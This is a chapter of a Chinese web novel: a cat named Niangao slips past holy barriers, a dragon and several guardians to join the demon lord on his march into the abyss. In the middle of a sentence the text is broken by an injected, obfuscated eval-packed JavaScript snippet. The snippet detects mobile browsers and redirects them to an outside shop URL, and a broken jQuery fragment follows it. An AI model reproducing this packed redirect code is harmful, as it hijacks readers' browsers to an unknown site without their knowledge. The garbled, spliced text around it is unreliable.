文趣网 > 都市小说 > 全魔法界都在偷吸魔王的猫 > 39.不可以小看小猫
    魔王没有再继续争执。

    他静静望着门口摇着尾巴的橘猫,一人一猫对视良久。当着所有联军首脑、整片大陆顶尖强者的面,执掌深渊、睥睨万界的黑暗主宰,率先移开了视线。

    他认怂了。

    “散会。”

    他再度出声,声线比先前低沉半分,褪去了决断杀伐的锋芒,只余下一丝无从消解的疲惫与无奈。

    年糕依旧蹲在殿门原地,尾巴匀速扫过冰冷的石面,半点没有挪步的意思,执拗得不像话。

    “晚饭加虾。”魔王放软姿态,试着让步。

    轻摇的猫尾短暂停顿一瞬,随即再度摆动,力道反而沉了些许。

    收买,彻底失败。

    最后是管家爱德华上前打圆场。他端着一碟刚拆解完毕、温热鲜香的蟹腿肉,耐着性子柔声哄劝,才把这只闹着脾气的小猫劝回了居所。年糕乖乖吃光了整碟蟹肉,连碟底残留的汁水都舔得干干净净,胃口丝毫未受影响。

    可临走前,她蓦然回头,深深看了魔王一眼。

    就那一眼,清冷又执拗,看得塞拉斯心底莫名发沉,泛起一阵空空的凉意。

    那晚书房的灯火亮了许久。魔王独自静坐了半个时辰,爱德华入内添茶时,听见他低声呢喃,更像是固执的自我宽慰。

    “她听不懂的,只是单纯不高兴我要出远门。”

    爱德华垂手立在一旁,默然不语。

    整座魔塔,乃至所有知情的人,全都看得明明白白。唯独这位运筹帷幄的魔王,还在自欺欺人。

    这只看似懵懂软糯的小猫,其实什么都懂。

    ——

    出征深渊的日子,定在三日后的黎明。

    接下来的两天,魔王搁置了所有关乎大陆战局的军务,倾尽心力只做了一件事——困住一只猫。

    他亲手搭建出整片大陆有史以来,最奢侈、最严密、毫无死角的防护网,层层设防,只为锁住年糕的踪迹。

    第一层,是牢不可破的圣光结界。

    教皇亲自坐镇主持法阵,十二名高阶圣骑士昼夜轮班灌注神力、接续能量,结界防御标准拉至极致,足以硬抗深渊领主级别的全力冲击。

    布设结界时,魔王的叮嘱直白又笃定:“按能挡住我的标准设防。论难缠,她比我更难对付。”

    第二层,是空域全方位封锁。龙

    王亲自盘踞魔塔之巅,死守整片高空领域,杜绝一切空中突围的可能。他嘴上不停吐槽大材小用、小题大做,转头就搬来卧具,寸步不离,实打实守得滴水不漏。

    第三层,是小猫咪专属情绪安抚。

    莉拉、精灵女王、神使卢米安三人分班值守,全程陪伴年糕,想方设法转移她的注意力。

    精工逗猫棒、珍稀猫薄荷、新鲜肥美的蟹肉全天候无限供应,物资极尽周全。

    第四层,也是魔王最引以为傲的底牌——年糕数年如一日、雷打不动的作息规律。

    朝夕观察,从未有过偏差:清晨进食过后,必定准时休憩两小时。他精准掐算时序,将出征时间定在清晨过半,恰好卡在她睡得最沉、最无防备的时刻。

    可最终的值守结果,惨淡又好笑。

    莉拉耗尽力气挥断两根逗猫棒,年糕全程背对她蜷卧,全然无视;精灵女王拿出族群珍藏的顶级猫薄荷,也只换来她淡淡一瞥,毫无波澜。

    唯独卢米安起到了些许效果。他静坐一旁,郁郁恹恹、无声落泪,绵长的低落氛围扰得年糕心烦,终于忍不住甩动尾巴拍了拍他的脸颊。这

    也是两日以来,小猫唯一一次主动互动。

    爱德华看完整套固若金汤的防护部署,忍不住出声询问:“大人,您如今严防死守的,到底是一只猫,还是一位蛰伏的守护神?”

    “有区别?”魔王语气平淡。

    “有。”爱德华微微垂眸,据实而言,“神明或许可以被禁锢,但猫,永远防不住。”

    魔王并未将这番话放在心上,依旧满心笃定,自认布局万无一失。

    ——

    出征当日,天色微明。

    深渊裂缝之前,十万联军列阵肃立,黑压压的军阵铺展山谷,临风翻卷的黑旗裹挟着凛冽肃杀之气,压得整片天地寂静无声。

    魔王一身玄黑战甲,孤身立在军阵最前方。身后没有随行的战将谋士,只有一叠层层叠叠、亲笔签署的手令。从十年后的猫粮供给调度,到后山魔物幼儿所的修缮翻新,所有细碎琐碎的后事,他尽数提前安排妥当,无一遗漏。

    他没有举办任何悲壮的告别仪式。昨夜,他隔着透亮的圣光结界,静静伫立良久,凝视着熟睡的小猫。

    年糕四脚舒展,肚皮随着均匀的呼吸轻轻起伏,睡得安稳。他终究克制住了伸手触碰的念头——只要轻轻一碰,她就会醒。

    她醒了,他就走不了了。

    临行前,他留给爱德华最后一句嘱托:“她若是问起我的去向,就告诉她,我很快就回来。”

    前线传讯如期而至,字句稳妥:结界稳定,目标安稳熟睡,一切正常。

    魔王抬步,迎着翻涌不息的漆黑黑雾,一步步走向凶险莫测的深渊裂缝。

    就在这一刻,负责传讯的骨龙狼狈俯冲落地,身形不稳,声音带着难以抑制的慌乱颤抖:“大人!不好了!猫不见了!”

    ——

    事后全军复盘,年糕这场从容脱身,堪称大陆越狱史上最教科书级别的操作。

    天色刚破晓,年糕便准时苏醒,比魔王精准测算的时间,提前了整整两个小时。

    数年雷打不动的生物钟,第一次为一件事破例退让。

    她没有急着突围逃离,只是慢悠悠在结界范围内踱步闲逛。纤细灵敏的胡须一次次扫过结界光幕,精准丈量出每一处光幕的厚薄疏密、能量流转,悄无声息摸清了整套结界的弱点与破绽。

    摸清规律后,她乖乖蹲坐下来,认认真真洗脸梳理绒毛,姿态慵懒又无害。值守的圣骑士们紧绷的戒备心,在这温顺乖巧的画面里,一点点彻底松懈。

    洗漱完毕,年糕抬眼望向值守队长,缓缓眨了眨眼。这是猫咪最纯粹的亲昵与信任,队长毫无防备,温柔眨眼回礼。

    几轮温柔对视之间,绵长轻柔的呼噜声悄然弥漫开来,像无声的催眠潮汐,一点点侵蚀着众人的意识。短短两分钟,十二名高阶圣骑士尽数站着熟睡,无声无息。

    结界神力供能彻底中断,厚重坚固的圣光屏障如同退潮般迅速变薄、虚化。

    年糕稳稳走到能量最薄弱的光幕前,纤细爪尖轻轻一划。

    坚固无比的结界无声开裂一道细缝,尺寸拿捏得恰到好处,刚好足够一只猫咪从容通过。

    门户之神是最弱小的主神,可在自己擅长的领域,依旧所向披靡。

    塔顶的龙王全程紧盯长空,严防死守所有空中路线,半点不敢松懈。他万万没有料到,这只聪慧狡黠的小猫,根本不走高空,顺着一年来拆家踩熟的排水管道

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17851189|210065||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,稳稳当当溜下了高塔。

    途经塔底花园,精灵族布设的预警藤蔓本能启动,飞速缠绕拦截。年糕顺势就地翻滚,四脚朝天,露出一身蓬松柔软的绒毛。

    通灵的藤蔓瞬间僵在半空,草木天性终究抵不过软糯生灵的治愈力。年糕趁机从迟疑的藤蔓间隙中钻过,小声嘟囔着,许诺日后回来报恩。

    最后一道关卡,由教皇亲自驻守。

    整座塔门被厚重的圣光屏障彻底封锁,密不透风。

    年糕没有硬碰硬,只是温顺地凑上前,围着教皇的袍角一圈圈亲昵磨蹭,柔软的尾巴轻轻缠绕住他的手杖,乖巧又黏人。

    教皇低头望着温顺的小猫,温声劝慰,心神全然放松,没有丝毫防备。

    借着宽大袍影的遮挡,年糕悄然绕至门后,一招金蝉脱壳,从容脱身离去。

    ——

    十万联军将士,自此见证了毕生难忘的一幕。

    魔王脚尖刚刚踏入深渊黑雾,一道灵动的橘色身影,从军阵后方极速掠来。轻盈的爪垫灵巧避开林立的冰冷矛尖,借力蹬住前排巨盾的边缘,纵身腾空,稳稳落在魔王的肩头。

    年糕蹲坐肩头,从容喘匀气息,慢条斯理清理干净爪尖的尘土,这才抬眸望向身侧的男人。澄澈透亮的眼眸里,执拗直白,像是在无声质问:你接着走啊。

    “……你怎么出来的。”魔王的嗓音干涩发哑,带着难以置信的无奈。

    “本喵想出来,自然就出来了。”柔软的尾巴轻轻抽了一下他的后脑勺,语气带着几分傲娇,“三层结界加一条龙,也想防住猫大人?”

    “回去。”魔王抬手,想要将她抱离这片凶险之地,“这里太过危险,不是你该来的地方。”

    年糕四爪收拢,臀部沉沉一坐,稳稳蹲成一尊无法撼动的小雕像,分毫不让。

    “听话。”魔王语气沉落,带着最后的严肃警告。

    她抬起软乎乎的肉垫,严丝合缝捂住他的下半张脸,堵住了所有未出口的话语。

    “别说了。”

    收回爪子,她做了一件从未有过的举动。

    她微微低头,柔软的鼻尖轻轻顶了顶他锁骨处悬挂的深渊项圈。

    乌木镶暗金的纹路精致繁复,是他当年偏执执拗、亲手定制的专属饰物,彼时被炸毛的她抗拒推开。这一年多来,它一直悬在他的战甲之上,藏着无人知晓的偏爱。

    而此刻,她主动伸直纤细的脖颈,缓缓将脑袋穿入那枚项圈之中。

    尺寸分毫不差,完美贴合颈间蓬松的绒毛。当年匠人定制时,他特意备注得细致入微:宁大勿小,秋冬毛发蓬松,它会微微长胖。

    年糕抬眸,清亮的眼眸直直撞进他深邃的眼底,字字轻柔,却重逾千钧。

    “听好了,铲屎官。”

    “铲屎官一个人太弱小了,咪得保护你。”

    “你不许一个人去死。”

    “要去,一起去。要回,一起回。”

    “咪要一直和你在一起。”

    山间晚风翻卷着他的黑发,魔王僵立原地,久久未动。那只执掌深渊生杀、碾碎过无数强敌的凌厉手掌,此刻轻轻抬起,虔诚又温柔地触碰着项圈边缘的绒毛,动作小心翼翼,满是珍视。

    “……好。”

    一个字,低沉笃定,清晰传遍整座山谷。

    前路深渊黑雾翻涌,步步凶险,莫测未知。

    一人一猫,一句生死相守的约定,并肩而立,无畏无惧。